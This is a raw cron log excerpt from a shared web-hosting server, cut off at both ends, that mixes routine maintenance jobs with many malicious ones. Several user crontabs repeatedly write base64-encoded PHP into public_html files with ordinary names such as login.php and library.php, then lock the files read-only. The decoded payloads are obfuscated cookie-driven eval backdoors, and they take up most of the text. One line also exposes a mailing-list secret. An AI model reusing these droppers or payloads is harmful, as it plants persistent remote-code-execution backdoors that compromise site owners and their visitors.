gLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:28:01 medusa CROND[25888]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:29:02 medusa CROND[13020]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:29:02 medusa CROND[13021]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 04:29:02 medusa CROND[13022]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:29:02 medusa CROND[13023]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:29:02 medusa CROND[13028]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:29:02 medusa CROND[13027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:29:02 medusa CROND[13031]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:29:02 medusa CROND[13032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:29:02 medusa CROND[13033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:29:02 medusa CROND[13037]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:29:02 medusa CROND[13038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:29:02 medusa CROND[13047]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:29:02 medusa CROND[13048]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[32739]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 04:30:01 medusa CROND[732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:30:01 medusa CROND[733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:30:01 medusa CROND[735]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:30:01 medusa CROND[734]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:30:01 medusa CROND[736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:30:01 medusa CROND[737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[738]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:30:01 medusa CROND[740]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:30:01 medusa CROND[743]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:30:01 medusa CROND[746]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:30:01 medusa CROND[771]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[775]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:30:01 medusa CROND[770]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[772]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 04:30:01 medusa CROND[781]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 04:30:01 medusa CROND[785]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:30:01 medusa CROND[787]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:30:01 medusa CROND[779]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:30:01 medusa CROND[780]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:30:01 medusa CROND[773]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Mar  2 04:30:01 medusa CROND[774]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:30:01 medusa CROND[807]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[847]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[852]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[850]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[859]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 